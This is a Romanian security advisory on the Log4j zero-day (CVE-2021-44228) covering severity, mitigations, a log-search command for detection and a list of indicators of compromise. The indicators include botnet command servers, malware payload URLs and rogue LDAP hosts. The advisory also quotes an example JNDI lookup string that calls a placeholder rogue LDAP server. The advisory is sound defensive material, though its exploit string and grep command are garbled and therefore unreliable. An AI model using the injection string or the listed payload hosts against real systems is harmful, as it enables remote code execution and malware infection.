



Vulnerabilitate critică de tip zero-day afectează Log4j, o bibliotecă Java utilizată la scară largă

București, 13 Decembrie 2021

O vulnerabilitate critică (0-day) într-o bibliotecă populară Java, numită „Log4j”, poate fi exploatată liber de atacatori. La momentul divulgării publice a informației, nu era disponibil niciun patch de securitate pentru a o remedia, dar între timp au apărut o serie de măsuri de atenuare.

Dezvoltată și întreținută de Apache, biblioteca este adoptată pe scară largă și utilizată în multe produse software comerciale și open-source ca un framework de înregistrare a informațiilor pentru Java.

Descriere

Severitatea vulnerabilității ([CVE-2021-44228](#)) este una ridicată, deoarece aceasta poate fi exploatată de la distanță de un atacator neautentificat prin executarea codului (remote code execution - RCE). Mai mult, CVE-2021-44228 are un scor de 10 (din 10) în sistemul comun de notare a vulnerabilității (CVSS).

Problema de securitate provine din modul în care mesajele jurnal sunt gestionate de procesorul log4j. În cazul în care un atacator trimite un mesaj special conceput (care conține un șir de caractere cum ar fi `$-jndi:ldap://rogueldapserver.com/a}`), acest lucru poate duce la încărcarea unei clase de coduri externe sau a căutării mesajelor și la executarea codului respectiv, ceea ce duce la o situație cunoscută sub numele de execuție de cod de la distanță.

Impact

Cu toate că vulnerabilitatea are un grad de complexitate ridicat, exploatarea sa cu succes depinde de mai multe condiții, cum ar fi utilizarea JVM, configurația reală, etc. Versiunile log4j între 2.0 și 2.14.1 sunt afectate.

Deoarece mulți furnizori terți se bazează pe Log4j pentru produsele lor, s-a lucrat intens pentru lansarea unor patch-uri dedicate acestora. În ultimele 48 de ore, mulți furnizori au publicat astfel de patch-uri de securitate.

Remediere

Recomandăm verificarea urgentă a folosirii Log4j în software-ul utilizat și aplicarea patch-urilor corespunzătoare cât mai curând posibil. În cazul în care nu se pot aplica patch-uri, este indicată luarea oricărei măsuri de atenuare, pentru a evita alte daune.

- Obțineți o imagine de ansamblu a sistemelor și a software-ului care utilizează log4j în mediul dvs. (acest lucru poate fi o sarcină consumatoare de timp, deci ar fi bine să începeți urgent).
- Aplicați imediat patch-urile de securitate corespunzătoare pentru software-ul/dispozitivele care folosesc internetul
- Aplicați patch-urile de securitate corespunzătoare deopotrivă pentru software-ul/dispozitivele interne cât mai curând posibil
- În cazul în care aplicarea patch-urilor nu este posibilă din varii motive, recomandăm insistent izolarea sistemului de accesul la internet și/sau aplicarea următoarelor măsuri de prevenție:
 - Pentru versiunea ≥ 2.10 : setați `log4j2.formatMsgNoLookups` la `true`
 - Pentru versiunile de la 2.0 la 2.10.0: eliminați clasa `LDAP` din `log4j` complet prin emiterea următoarei comenzi: `zip -q -d log4j-core-*.jar org/apache/log4j/core/lookup/JndiLookup.class`
 - Pentru anumite versiuni JVM, este posibil să setați `com.sun.jndi.rmi.object.trustURLCodebase` și `com.sun.jndi.cosnaming.object.trustURLCodebase` pentru a atenua vulnerabilitatea. Unele versiuni JVM au deja acest lucru ca setare implicită

- Puteți verifica încercările de exploatare - indiferent dacă au avut succes sau nu - în jurnalele serverului dvs. web, utilizând următoarea comandă Linux/Unix: ***sudo egrep -i -r'\\$\' & jndi:(ldap[s]?rmi...dns):/[^\n]+"/var/log/***
- Verificați jurnalele perimetrului rețelei pentru prezența listei indicatorilor de compromis (IOC) menționată mai jos:

nazi.uy # Mirai botnet C2

log.exposedbotnets.ru # Tsunami botnet C2

194.59.165.21:8080 # Tsunami botnet C2

195.133.40.15:25565 # Mirai botnet C2

185.154.53.140:80 # Kinsing botnet C2

138.197.206.223:80 # Kinsing payload delivery server

18.228.7.109:80 # Kinsing payload delivery server

82.118.18.201:80 # Kinsing payload delivery server

92.242.40.21:80 # Kinsing payload delivery server

185.191.32.198:80 # Kinsing payload delivery server

80.71.158.12:80 # Kinsing payload delivery server

185.191.32.198:80 # Kinsing payload delivery server

45.137.155.55:80 # Kinsing payload delivery server

185.191.32.198:80 # Kinsing payload delivery server

45.137.155.55:80 # Kinsing payload delivery server

62.210.130.250:80 # Mirai payload delivery server

http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL

http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL

45.130.229.168:1389 # Rogue LDAP server

82.118.18.201:1534 # Rogue LDAP server

45.130.229.168:1389 # Rogue LDAP server

185.250.148.157:1389 # Rogue LDAP server

92.242.40.21:5557 # Rogue LDAP server

205.185.115.217:47324 # Rogue LDAP server

163.172.157.143:1389 # Rogue LDAP server

45.155.205.233:12344 # Rogue LDAP server

- Dacă utilizați un IDS bazat pe Snort sau Suricata (ori compatibil), utilizați reguli pentru a detecta încercările de exploatare.
- Dacă aveți sisteme vulnerabile, verificați-le foarte atent pentru orice semn de exploatare, deoarece scanarea este foarte intensă și sistemele vulnerabile pot fi exploatare rapid.
- Dacă utilizați un WAF, implementați regulile specifice log4j. Acestea există pentru multe soluții comerciale, cum ar fi Cloud Armor6, Cloudflare WAF7, Signal Sciences WAF8.
- Recomandăm actualizarea bibliotecilor log4j la ultima versiune disponibilă: <https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0>

Sursa:

<https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/#fn:1>